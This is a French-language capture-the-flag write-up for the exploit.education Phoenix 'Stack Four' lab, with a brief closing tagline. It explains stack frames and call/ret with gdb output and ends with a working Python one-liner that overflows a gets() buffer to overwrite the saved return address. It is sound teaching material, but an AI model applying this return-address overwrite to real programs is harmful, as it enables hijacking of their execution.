kiddie
.:: @OREL ::.

Phoenix - Buffer overflow - Stack 4
[ 24/07/2019 ]
Copie originale : [https]://exploit.education/phoenix/stack-four/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [2.1 - Instruction call et stack frame [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
Stack Four takes a look at what can happen when you can overwrite the saved instruction pointer (standard buffer overflow). Hints - The saved instruction pointer is not necessarily directly after the end of variable allocations – things like compiler padding can increase the size. Did you know that some architectures may not save the return address on the stack in all cases? - GDB supports “run < my_file” to direct input from my_file into the program.
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/stack-four, by https://exploit.education * * The aim is to execute the function complete_level by modifying the * saved return address, and pointing it to the complete_level() function. * * Why were the apple and orange all alone? Because the bananna split. */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" char *gets(char *); void complete_level() { printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n"); exit(0); } void start_level() { char buffer[64]; void *ret; gets(buffer); ret = __builtin_return_address(0); printf("and will be returning to %p\n", ret); } int main(int argc, char **argv) { printf("%s\n", BANNER); start_level(); }
Le programme débute par la déclaration de deux procédures, complete_level() et start_level(). La première procédure, complete_level() permet de valider l'exercice, la deuxième procédure, start_level() déclare deux variables, un tableau de 64 char nommé buffer et un pointeur de type void nommé ret. La fonction gets() est appelée avec buffer en argument, puis, on stocke le résultat de la fonction __builtin_return_address(0) dans ret avant d'afficher sa valeur avec un appel à printf(). Le main() se contente d'afficher une bannière et d'appeler start_level().
[2.1 - identification de la vulnérabilité
La vulnérabilité est la même que celle présentée dans stack zero, gets() est une fonction dangereuse vulnérable aux buffer overflow notamment quand l'entrée utilisateur n'est pas contrôlée. Grâce à ce buffer overflow, nous devons parvenir à modifier l'adresse de retour de la procédure start_level() pour la faire pointer sur complete_level().
[2.2 - Méthodologie d'exploitation
Avant de détailler la modification de l'adresse de retour, on va commencer par analyser comment un programme transfert le flux d'exécution à un sous-programme et comment celui-ci est capable de retourner le flux d'exécution à son appelant. [2.1 - Instruction call et stack frame Dans notre exercice, on a main() qui appelle start_level(), au niveau assembleur, cet appel est matérialisé par l'instruction call :
(gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x000000000040066a <+0>: push rbp 0x000000000040066b <+1>: mov rbp,rsp 0x000000000040066e <+4>: sub rsp,0x10 0x0000000000400672 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000400675 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x0000000000400679 <+15>: mov edi,0x400750 0x000000000040067e <+20>: call 0x400480 <puts@plt> 0x0000000000400683 <+25>: mov eax,0x0 0x0000000000400688 <+30>: call 0x400635 <start_level> 0x000000000040068d <+35>: mov eax,0x0 0x0000000000400692 <+40>: leave 0x0000000000400693 <+41>: ret End of assembler dump.
L'instruction call n'est pas aussi élémentaire qu'un mov par exemple, elle a plusieurs effets qui peuvent être détaillés en placant un breakpoint juste avant son exécution :
user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-four Reading symbols from stack-four...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x000000000040066a <+0>: push rbp 0x000000000040066b <+1>: mov rbp,rsp 0x000000000040066e <+4>: sub rsp,0x10 0x0000000000400672 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000400675 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x0000000000400679 <+15>: mov edi,0x400750 0x000000000040067e <+20>: call 0x400480 <puts@plt> 0x0000000000400683 <+25>: mov eax,0x0 0x0000000000400688 <+30>: call 0x400635 <start_level> 0x000000000040068d <+35>: mov eax,0x0 0x0000000000400692 <+40>: leave 0x0000000000400693 <+41>: ret End of assembler dump. (gdb) b *main+30 Breakpoint 1 at 0x400688 (gdb) r Starting program: /opt/phoenix/amd64/stack-four Welcome to phoenix/stack-four, brought to you by https://exploit.education Breakpoint 1, 0x0000000000400688 in main () (gdb) i r rax 0x0 0 rbx 0x7fffffffe6b8 140737488348856 rcx 0x7ffff7db6d07 140737351740679 rdx 0x0 0 rsi 0x7fffffffe590 140737488348560 rdi 0x4b 75 rbp 0x7fffffffe660 0x7fffffffe660 rsp 0x7fffffffe650 0x7fffffffe650 ... rip 0x400688 0x400688 <main+30> ... (gdb) x/4gx $rsp 0x7fffffffe650: 0x00007fffffffe6b8 0x0000000100000000 0x7fffffffe660: 0x0000000000000001 0x00007ffff7d8fd62 (gdb) si 0x0000000000400635 in start_level () (gdb) i r rax 0x0 0 rbx 0x7fffffffe6b8 140737488348856 rcx 0x7ffff7db6d07 140737351740679 rdx 0x0 0 rsi 0x7fffffffe590 140737488348560 rdi 0x4b 75 rbp 0x7fffffffe660 0x7fffffffe660 rsp 0x7fffffffe648 0x7fffffffe648 ... rip 0x400635 0x400635 <start_level> ... (gdb) x/4gx $rsp 0x7fffffffe648: 0x000000000040068d 0x00007fffffffe6b8 0x7fffffffe658: 0x0000000100000000 0x0000000000000001
On observe trois changements qui ont été mis en évidence avec du rouge. Après l'exécution du call, rsp, qui pointe sur le haut de la stack, a été décrémenté de huit, le pointeur d'instruction, rip contient l'adresse de start_level(), l'adresse de main+35 a été empilée sur la stack. L'empilement de main+35 sur la stack devrait permettre à start_level() de retourner au main via un pop rip, c'est justement le rôle de la dernière instruction du bloc start_level() :
user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-four Reading symbols from stack-four...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas start_level Dump of assembler code for function start_level: 0x0000000000400635 <+0>: push rbp 0x0000000000400636 <+1>: mov rbp,rsp 0x0000000000400639 <+4>: sub rsp,0x50 0x000000000040063d <+8>: lea rax,[rbp-0x50] 0x0000000000400641 <+12>: mov rdi,rax 0x0000000000400644 <+15>: call 0x400470 <gets@plt> 0x0000000000400649 <+20>: mov rax,QWORD PTR [rbp+0x8] 0x000000000040064d <+24>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400651 <+28>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400655 <+32>: mov rsi,rax 0x0000000000400658 <+35>: mov edi,0x400733 0x000000000040065d <+40>: mov eax,0x0 0x0000000000400662 <+45>: call 0x400460 <printf@plt> 0x0000000000400667 <+50>: nop 0x0000000000400668 <+51>: leave 0x0000000000400669 <+52>: ret End of assembler dump. (gdb) b *start_level+52 Breakpoint 1 at 0x400669 (gdb) r Starting program: /opt/phoenix/amd64/stack-four Welcome to phoenix/stack-four, brought to you by https://exploit.education foo and will be returning to 0x40068d Breakpoint 1, 0x0000000000400669 in start_level () (gdb) i r rax 0x22 34 rbx 0x7fffffffe6b8 140737488348856 rcx 0x0 0 rdx 0xffffffff 4294967295 rsi 0x40074f 4196175 rdi 0x7ffff7ffc948 140737354123592 rbp 0x7fffffffe660 0x7fffffffe660 rsp 0x7fffffffe648 0x7fffffffe648 ... rip 0x400669 0x400669 <start_level+52> ... (gdb) x/4gx $rsp 0x7fffffffe648: 0x000000000040068d 0x00007fffffffe6b8 0x7fffffffe658: 0x0000000100000000 0x0000000000000001 (gdb) si 0x000000000040068d in main () (gdb) i r rax 0x22 34 rbx 0x7fffffffe6b8 140737488348856 rcx 0x0 0 rdx 0xffffffff 4294967295 rsi 0x40074f 4196175 rdi 0x7ffff7ffc948 140737354123592 rbp 0x7fffffffe660 0x7fffffffe660 rsp 0x7fffffffe650 0x7fffffffe650 ... rip 0x40068d 0x40068d <main+35> ... (gdb) x/4gx $rsp 0x7fffffffe650: 0x00007fffffffe6b8 0x0000000100000000 0x7fffffffe660: 0x0000000000000001 0x00007ffff7d8fd62
L'instruction ret permet de placer la valeur au sommet de la stack dans le pointeur d'instruction. Grâce à la stack, on conserve l'état du programme précédent, le même principe est appliqué pour conserver les valeurs de rbp et rsp entre les call. On appelle prologue le couple d'instructions push rbp et mov rbp,rsp responsable de la sauvegarde du registre rbp de l'appelant et de la création de la stack frame de l'appelé. On appelle épilogue le couple d'instructions leave et ret responsable de la resti- tution de l'ancienne stack frame et du flux d'exécution. On notera que quand le programme est exécuté, la fonction __builtin_return_address(0) exécutée dans start_level() retourne l'adresse de retour, qui dans notre cas, est main+35. Maintenant qu'on connaît le rôle et la position de l'adresse de retour, on peut élaborer notre exploit pour remplacer l'adresse de main+35 par l'adresse de complete_level(). Voici la structure de notre stack : +----------------------+ Adresses basses | | 0x7fffffff123 | | | | ^ | char buffer[64] | | | | | | | | +----------------------+ | | | | | void *ret; | | | | | +----------------------+ | | | | | sauvegarde rbp | | | | | +----------------------+ | | | + | sauvegarde rip | | | 0x7fffffff456 +----------------------+ Adresses hautes Pour atteindre l'adresse de retour, on devra remplir l'espace mémoire alloué pour les variables buffer et ret et écraser la sauvegarde du registre rbp. Pour déterminer l'espace alloué aux variables, on peut se référer au code assembleur de start_level() cité plus haut et déterminer que buffer se trouve en rbp-0x50 et ret en rbp-0x8. S'il on soustrait 0x50 à 0x8, on trouve 72, pourtant, dans le code source la variable buffer a été déclarée comme un tableau de 64 char. C'est un choix intentionnel du compilateur qui a décidé d'allouer 72 octets, probablement pour des raisons d'alignement mémoire. Si l'on synthétise, on a 72 octets alloué à buffer, 8 octets à ret et 8 octets pour la sauvegarde de rbp puisque nous sommes sur un système 64 bits, donc avec des adresses codées sur 8 octets. Notre exploit aura donc la forme : "A" * 72 + "B" * 8 + "C" * 8 + @adresse_complete_level()
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A" * 72 + "B" * 8 + "C" * 8 + \ > "\x40\x06\x1d"[::-1]' | ./stack-four Welcome to phoenix/stack-four, brought to you by https://exploit.education and will be returning to 0x40061d Congratulations, you've finished phoenix/stack-four :-) Well done!
[4 - Conclusion
Parvenir a écraser la sauvegarde du pointeur d'instruction pour rédiriger l'exécution d'un programme sera dans la plupart des cas l'objectif recherché lors de l'exploitation d'un programme. La méthode utilisée dans cet exercice permet d'appréhender la notion de stack frame et la manipulation du pointeur d'instruction.

Tout est faux tout est conforme.